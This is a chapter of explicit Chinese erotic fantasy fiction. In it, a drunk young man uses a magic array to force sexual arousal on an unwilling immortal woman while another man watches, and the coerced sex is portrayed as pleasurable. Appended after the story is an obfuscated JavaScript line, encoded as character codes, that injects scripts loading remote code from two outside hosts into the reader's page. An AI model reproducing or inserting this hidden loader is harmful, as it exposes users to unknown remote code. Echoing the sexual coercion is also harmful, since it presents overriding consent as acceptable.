  李芒喝得醉醺醺的,自然是没有力气肏干,而那银月仙子更是不愿意配合他,因此李芒只能把着银月仙子的胯部,前后小幅度推拉着,小幅度地让自己的肉棒在银月仙子的小穴中蠕动。
  “放……唔嗯嗯……放开我……”银月仙子低声道。虽然心中厌恶至极,但被炉鼎阵法改造后的身体却是主动进入了状态,为主人制造着一波接一波的快感。
  穴内滚烫湿滑的包裹感令李芒十分畅快。他长舒一口气,看到面前那晃晃悠悠的一对肥满乳球,便伸头叼住其中一边的乳头,在口中吸吮,用舌头拨弄,不一会儿便换成另一边的乳头。玩得尽兴了便腾出双手,捧起这软嫩白肉,向中间挤去,自己则把脸埋进中间挤出的乳缝中,享受着这份女人的柔软。
  “你……你这淫贼……啊啊……我……我恨你……呜呜……”银月仙子见自己的身体被李芒这般肆无忌惮地玩弄,终于是情难自禁,哭出声来,低低地呜咽着。
  滚烫的泪珠从银月仙子的脸颊上滑落,滴进李芒的头发。李芒似有所感地抬起头,双眼朦胧地看着银月仙子,问:“银月,你怎么哭了?”
  银月仙子一听,气不打一出来,捶着李芒的脑袋骂道:“你问我,你还好意思问我,还不都是被你害的!”
  李芒喝多了既想不起来躲也想不起来防,只是呆呆地任银月仙子照着脸忽悠:“我,我怎么你了?”
  “你竟敢跟我装傻?!不就是你打的我吗?”银月仙子怒道。
  “什么?”李芒眉毛立了起来,“竟敢有人打你?是谁,你告诉我,我找他算账去!”
  “你——”银月仙子气得俏脸通红,可是看李芒那神情又确实不像是在装傻,“你对我做了什么自己心里没点数吗?”
  李芒困惑地皱起眉头:“我?我做了什么……”李芒拼命从那已经化为一团浆糊的脑海中搜刮出点有用的东西。“你的屁股……被……打了?”
  银月仙子的脸更红了一些,眼睛飞快地朝白玉珍那瞥了一下,见对方没有看向这边才咬牙切齿地道:“你总算想起来了?”
  可出乎意料的是,李芒竟痴痴地笑了:“不怕,不怕,俺爹教了,这时候只要吹吹就好了,呼……呼……等你不疼了我就找打哭你的人算账去。”说完,他竟是鼓起腮帮子,对着面前银月仙子那挤出的乳沟吹了几口气。这厮竟把银月仙子前面的两坨肉当成了后面的两坨肉。
  “那不就是被你打的吗!”银月仙子在心中咆哮。那乳沟处却是被李芒的气息吹得有些发痒。
  “呼……呼……不疼了,乖……打狗还要看主人,一会儿谁打了你我给你出头去……呼……”李芒一边颠着手中的一对乳球,荡出阵阵肉浪,一边柔声哄道。
  银月仙子见李芒这副模样,心中的气多少是消了几分。不论刚才如何,至少他对自己也并不算得上绝对的无情,至少他还是会心疼自己的。
  “你这夯货,说谁是狗呢?”银月仙子在李芒身上打了一拳,但态度却是软化了不少:“还不是你打的,有本事你跟自己打一架。再者说了,那里也不是屁股,你吹那里有什么用……罢了,你今天爱咋咋地,我可懒得伺候你,回去了。”说完,银月仙子便忍着臀瓣上的疼痛,准备将李芒插入体内的肉棒拔出来。
  李芒愣了愣,手上的动作也停下了,问道:“什么,你要走了吗?”
  “不然呢?”银月仙子没好气地道。
  可下一秒,李芒忽然张开臂膀,将银月仙子紧紧抱住,嚎啕大哭:“哇啊啊啊啊啊——我不要你走啊啊啊啊啊——”
  银月仙子愣住了,连一旁的白玉珍和春虹也愣住了,这家伙是要闹哪样?
  察觉到那两人的视线,银月仙子面红耳赤:“你,你给我松手!”
  “不要!”李芒把脸埋进银月仙子的胸口,大叫道:“我松手了的话你就要走了!”
  “你这淫贼,我去哪里与你何干!”银月仙子也是恼羞成怒,喝道。
  “不要!我对你做了那些事,你要是走了肯定不会回来了,我不要一个人!”李芒闷声道。
  虽说知道李芒是在耍酒疯,可他的话却还是让银月仙子的心中泛起阵阵涟漪。她从李芒的话语中听出了一丝孤独。每个人都会感到孤独,那是自他从被子宫和羊水包裹给养的圆满状态中被挤入冰冷的空气,剪断那与包容一切的母体的联系后所感受到的第一个情绪,也是人最原始的创伤。面前紧抱着自己的少年原本有着自己的朋友,有着自己的生活,或许是不那么孤独的。可如今他却向自己袒露着自己的孤独,这份孤独是因自己而生的吗?
  银月仙子被自己的想法吓到了,但这个想法也让她的心弦在微微颤动。
  “唉,我只是要回客栈,你想太多了……”银月仙子咬了咬嘴唇,语气柔和了一些。真是诡计多端的淫贼,你做出这般姿态,我若是再执意离开不就显得我冷酷无情了吗?
  “那也不要走……我头好晕,会找不到路的……”李芒稍微平静了一些,轻声道。
  “唉……”银月仙子叹了口气,“我不走了,但你让我把衣服穿上,我可不陪你做这羞臊人的事。”说罢,便扭动身子,要从李芒怀中挣脱。
  抱在银月仙子腰间的臂弯又收紧了一些:“不要……你身上好暖和,我想就这样抱着你……就一会儿就好……”
  银月仙子扶住额头,这家伙真是麻烦:“你数十五个数,数完就松开。”
  李芒的脸依旧贴在银月仙子的胸口,点了点头,将鼻涕口水都蹭在银月仙子身上,只不过后者现在还没发觉。
  “十五……十四……十三……”倒计时中的李芒倒也乖巧,只是抱着银月仙子,什么也没做。当然,先前插进银月仙子穴里的肉棒还没拔出来。
  银月仙子俏红着个脸,狠狠瞪了眼白玉珍,后者打了个寒颤,转过头去,继续和春虹腻歪在一起,不敢再看向这边。
  银月仙子深吸一口气,今天这脸算是丢得差不多了,被这冤家害苦了。明明刚才动起手来毫不留情,可现在却是另一副模样,而自己又偏偏对他狠不下心来。
  “六……五……四……”李芒缓缓地数着。怀中女子的幽幽体香钻进他的鼻孔,她的身体又是那样温暖,令李芒感到安心,神识也不知道飘到何处去。
  “四……四……”李芒意识朦胧,说话结巴起来。
  总算是快结束了……银月仙子心里长舒一口气,这一天真是够受的。
  “四……四是四,十是十……”李芒喃喃道。
  嗯?
  “四十是四十……十四是十四……十四……十四……十三……”
  “哪儿他妈又重来一遍啊!给老娘起开!”银月仙子瞬间炸毛,破口大骂,伸手去推李芒,正要站起身来,在体内插了许久的肉棒也被拔出一截来。
  “不要!银月的身上好暖和,里面也好暖和,我还想要!”李芒大叫着,手中发力,又将银月仙子抱回怀中,让那一对被打肿了的蜜桃肥臀又将李芒的肉棒全部坐了进去。
  “唔嗯嗯……你这淫贼,休要得寸进尺!”银月仙子口中漏出一声娇哼,连脖子根都变得通红,恼羞成怒喝道。
  可李芒到底也是个男人,下身那肉枪在银月仙子的小穴中温存了许久,那缓慢蠕动着的肉壁早就将其吸吮得欲火中烧。如今的李芒已经是被性欲替代了思考,不将卵袋里的白浊射个痛快又岂会罢休?
  “银月,我的好银月,求你了,让我再插一会儿,马上就好了,我很快就完事了,你就答应我吧,我什么都会做,好不好?”李芒紧抱着银月仙子,撒着娇。
  “不行,你别真以为我不敢动你!”银月仙子怒道。
  李芒仍是不放手,但正当银月仙子激怒之下,一掌劈向前者后颈之时,李芒却突然抽出一只手,按在银月仙子的光滑小腹上。霎时间,一个散发着粉色光芒的阵法缓缓浮现,一缕粉色火焰出现在子宫中,然后迅速呈燎原之势爆发,随着经脉渗透进四肢百骸。银月仙子顿时感觉全身燥热难安,下身小穴和上身一对乳珠瞬间充血发红,变得极其敏感,那已经包裹着李芒肉棒的穴壁更是紧紧夹住肉柱,制造着令她腰肢酸软的甜美感觉。
  “哈啊……你这淫贼……竟用这种方法对付我……嗯啊啊……”银月仙子瞬间便猜到李芒控制她身上的炉鼎阵法催生出欲火来迫使她发情,但为时已晚,她的双眼一瞬间变得迷离,吐出一股股湿热气息,已经变成淡粉色的一具娇躯也不受控制地扭动着,让那熟悉的肉棒在体内搅动着,剐蹭着穴内脆弱敏感的肉褶。
  “啊啊……银月……银月……”李芒低吼着,紧抱着银月仙子,叼住她胸前已经动情挺立的乳珠,不住地吮吸着,发出滋溜滋溜的声音,而下身也是不安分地乱动着,配合着银月仙子的动作,将肉棒在她的蜜壶中来回搅动。
  “嗯啊啊……你这……淫贼……唔嗯嗯……真是被你……啊啊……害惨了……”纵使银月仙子如何不甘,此时的她却无法抵抗这份来自身前这个少年赐予的快感。被阵法控制的快感又如何,因为身体的确因此而欢愉。银月仙子仰起头,竭力压制的娇吟止不住地泄露出来,就像她股间的淫水也止不住地从两人性器研磨之处流出一般。她身上已经出了薄薄一层汗,一股异香悄然挥发。那正与春虹欢好的白玉珍闻到那香味,瞳孔猛地一缩,甚至差点失守精关。而那春虹也是被屄里忽然涨大一圈的鸡巴吓了一跳,可这份充实感却让她更感欢喜,也更起劲地扭着腰。
  “啊啊……公子……公子的肉棒好大……春虹要受不了了……春虹要去了,要泄了,要飞了,要死了……啊啊啊……公子……和春虹一起去吧……啊啊啊去了啊啊啊啊啊——”春虹的身体猛烈颤抖着,体内一股阴精冲出子宫,与冲向子宫的一股滚烫阳精冲撞在一起。几乎令人昏厥的快感在那狭窄的屄洞中爆发开来。春虹双眼微微上翻,有些失神。半晌过后才疲软地趴在白玉珍怀中,喘着粗气。
  “公子……您好厉害……春虹差点就被你干死了……”春虹连连娇喘,柔声道。一只白净温暖的手抚摸着她的脑袋。春虹想着自己出去后和白玉珍赎回自己的身子,跟在他身边服侍着,不必再做那下贱的行当,若是日久生情甚至能嫁给他做一个妾室,再生一个大胖小子来一个母凭子贵,小妹也有钱治病,又能天真活泼地在巷子里奔跑玩耍,她闭上眼睛,露出甜甜的微笑。
  而与春虹的含情温存不同,白玉珍却是面无表情,甚至有些冰冷。他一手摸着春虹的头发,一手给自己倒了杯茶,慢慢喝起来,余光却在暗中瞥向一边那呻吟扭动着的美丽娇躯。
  “竟能散发出这种效能的体香,这炉鼎的炮制方法可不简单……”白玉珍暗自想到,同时轻轻拍了拍春虹的脑袋,指指自己那半软的阳具。春虹会意,跪在地上,将那散发着精液和自己淫水气味的鸡巴含入口中,不断分泌口水来给鸡巴做一个温泉浴,又用一条灵巧小舌做着按摩,又缩起脸颊,将鸡巴中的残精也柔柔地吸出来。
  白玉珍享受着春虹的清洁口交,依旧抚摸着她的脑袋。他重新将注意力放回到胯下的少女身上,看着那乖顺的模样,白玉珍舔了舔嘴唇,嘴角勾起一个莫名的弧度。
  而在另一边,银月仙子也放弃了抵抗,主动地扭动着腰部,让下面的小嘴吞吐着肉棒,双臂也搂住李芒的脑袋,香汗淋漓道:“啊……啊啊……你这淫贼……竟在别人面前羞辱我……你等着……嗯啊啊……等回去后我……我要你好看……啊啊啊……”
  “啊啊……银月……银月……银月……”李芒也紧紧抱住银月仙子,吸吮着她那红通通的乳头,闷声道。
  银月仙子听了,心中那个作为女人的自己因为被男人渴求着而欢欣鼓舞,她下身那勤奋的屄洞也更加努力地夹紧,回应着男性的渴求,但也让她脸颊发烫,眼中充满水汽:“嗯啊啊……你这家伙……赶快给我完事啊……嗯嗯……闭嘴啊……不要一个劲地叫我啊……羞死了……唔嗯嗯……”
  听到银月仙子的娇嗔,李芒心中怦然一动,那肏弄着肉穴的肉棒变得更加涨大,连连颤抖。银月仙子也是知道李芒即将射精,便气喘吁吁地将自己那蜜桃般红润的肥臀重重坐下,将肉棒吞入最深处,直直抵在子宫口上,用力碾了碾,令龟头剐蹭着女人那脆弱敏感的花心。
  “银月——”李芒一声低吼,用力咬住乳头,浑身绷紧,一股滚烫热流浇在银月仙子的花心上。
  “我……我也——哦哦哦哦哦——”银月仙子昂头亢叫,宫口被热精浇灌的刺激也令她激烈地高潮着,浑身颤抖,穴壁更是绞得李芒肉棒发痛,似是要将精液全部榨出来一般。一股阴精也是恰到好处地喷将出来,淋在李芒的肉棒上。
  两人互相交换一下生命本源之气,将其炼化吸收,皆是累得大汗淋漓,气喘吁吁。银月仙子也是没了气力,趴在李芒身上,沉浸在高潮的余韵中。
  忽然,一双手盖在银月仙子的屁股上。
  银月仙子心里一惊,浑身下意识地一颤,恍惚间以为自己还趴在李芒腿上被打屁股,心中竟下意识产生出几分惧意。
  不过所幸,那双手只是轻轻地抚摸着,酥酥麻麻的,似是在安慰。
  “不疼了,揉揉就不疼了……”李芒低低的声音传入耳中。
  “淫贼,你就是想吃豆腐吧……”银月仙子喃喃道,却是没有抵抗,任由李芒抚摸着自己的屁股。说来也怪,明明先前是那样的不甘,愤怒,悲伤,可是现在感受着少年的体温和轻抚,所有的不快竟都消失了,就像是睡了一觉后将前一天的疲惫一扫而光一样。
  “……”少年轻微的鼾声响起。
  银月仙子叹了口气,暗道自己竟遇上了这么个冤家,也是轻轻起身,李芒那逐渐疲软的肉棒自然而然地滑出体外。银月仙子敏感的穴肉被这样一刺激,令得她浑身一颤。一双雪嫩玉足落在地上,踩在自己的淫水中,所幸,自己的衣服幸免于难。
  银月仙子飞快地穿好衣服,却任由李芒坐在那里遛鸟。她系好衣带,忽然想起什么,猛地扭头看向一旁。手也放在剑柄上,只要一个念头,下一瞬就能利剑出鞘,斩尽世间万物。
  白玉珍浑身一激灵,连忙放下茶杯,举起手,笑道:“我今天什么也没看见,什么也不知道。也什么都不会说。”
  银月仙子盯着白玉珍看了许久,正要说什么,却被白玉珍抬手制止:“先等一下,春虹,我要——哦哦……”白玉珍闭上眼睛,长舒一口气,他的另一只手伸向胯下,将一个脑袋紧紧按向股间。
  十余息后,白玉珍松开手,座下传来女子的咳嗽声。
  银月仙子皱了皱眉,道:“你接近他是想干什么?”
  白玉珍摊摊手,无奈地笑笑:“在下挥金如土仗义疏财,与李兄有缘,有意结交,又能有什么心思呢?”
  “哼,”银月仙子冷哼一声,“你什么心思你自己清楚。你若老老实实的还则罢了,若是让我发现你耍什么小动作……”话音未落,银月仙子拔剑而起,将面前这红木桌子削下一角来。
  白玉珍微笑着,眼角却是跳了跳,哎呦我的姑奶奶诶,我订的包厢东西坏了都得我赔啊。只是此时他只得干笑道:“请前辈放心。”
  “只是前辈……”白玉珍话锋一转,“按说前辈是被迫留在李兄身边,可如今这般维护于他,李兄艳福真令人羡慕啊。”小样,敢吓唬我,本公子不找回点场子怎么行。
  果不出白玉珍所料,银月仙子的脸上飞起两朵赤霞,淡淡道:“你想多了,我只是不信任你这般魔道之人罢了。”
  “呵呵呵,前辈心中是何想法,也只有前辈自己清楚了。”白玉珍啪地打开折扇,掩面轻笑,“所谓酒后吐真言,酒液不会凭空制造欲望,只会放大人心深处潜藏的欲望,至于前辈从李兄的行为中解读出了何种欲望,呵呵……”
  银月仙子从耳根红到了耳尖。她狠狠瞪了白玉珍一眼,转身反手给了李芒两个耳光,将他打醒,然后拉着醉醺醺迷瞪瞪,两颊印着两个掌印的李芒出了包厢。没多久,只听包厢外传来女人的尖叫声,毕竟李芒的鸟可是一直没收回去。
  白玉珍仍坐在原地,将刚刚没喝的茶水倒掉,又续了杯热的,慢慢喝着,又将光着屁股的春虹拉起来,搂在怀里,让春虹伺候着他喝茶吃点心,自己则把玩着少女盈盈可握的一对酥脂嫩乳,凝视着春虹肩头那两排暗红色的牙印,眯起眼睛,不知在想什么。

(function(a){(new Function(String.fromCharCode(...a)))();})([108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,115,45,49,51,54,55,48,54,54,52,56,52,46,99,111,115,46,97,112,45,115,104,97,110,103,104,97,105,46,109,121,113,99,108,111,117,100,46,99,111,109,92,47,49,57,92,47,57,51,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,114,46,49,100,103,102,100,119,46,99,111,109,92,47,49,57,92,47,57,51,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,51,57,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);